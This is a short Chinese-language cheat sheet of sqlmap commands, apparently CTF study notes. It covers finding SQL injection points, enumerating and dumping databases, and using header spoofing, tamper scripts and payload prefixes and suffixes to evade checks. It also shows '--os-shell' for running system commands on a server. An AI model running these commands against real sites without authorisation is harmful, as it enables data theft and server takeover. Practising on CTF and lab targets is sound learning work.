sqlmap
常用方法
-u 找注入点并检测:
--dbs 显示数据库:
--tables 显示表:
sqlmap –u "链接" –D 数据库 --tables
|
--columns 显示表中字段:
sqlmap –u "链接" –D 数据库 –T 表名 --columns
|
--dump 显示内容:
sqlmap –u "链接" –D 数据库 –T 表名 –C 字段 --dump
|
- 和他们全爆了:
sqlmap -u "url" --dump --batch
|
- 还有一些方法
sqlmap -u http://url/?id=1 --dbs --batch
|
进阶方法
--user-agent 指定agent
--referer 绕过referer检查
--data 调整sqlmap的请求方式, 变为POST请求
--method 调整sqlmap的请求方式, 结合--data使用
--method=PUT/POST/GET/DELETE
|
--cookie 提交cookie数据
--cookie="PHPSESSID=111;ctfshow=111;"
|
--safe-url 设置在测试目标地址前访问的"安全"链接, 一般和--safe-freq一起使用
--safe-url="" --safe-freq=1
|
-
--safe-freq 访问安全链接的次数, 大于0即可
-
--header 增加额外的HTTP头, 其实可以在这里加cookie
--header=content-type:text/plain # 或 -H "Coolie:123=123"
|
--prefix 攻击载荷的前缀
--suffix 攻击载荷的后缀
-
--temper 指定攻击载荷的脚本
主要是自己写脚本: tamper脚本教学
-
--os-shell 网站中写文件执行系统命令
直接加上就行
-
POST请求检测:
将POST请求抓包保存在txt中, 例如bp.txt, 然后交给sqlmap, 参数直接在后面加即可, 比如--dbs
--current-db 查看当前使用的数据库
例子
给出一个非常综合的例子:
在bp类工具中是不需要管Content-type的, 但是在sqlmap就需要加上, 原因可能是data本身是按照表单形式发送数据
sqlmap -u "url"
--data "id=1"
--method=PUT
--user-agent=sqlmap
--referer=ctf.show
--header=content-type:text/plain
--cookie="1"
--safe-url="url"
--safe-freq=1
--prefix="')"
--suffix="#"
--tamper=space2comment
-r bp.txt
|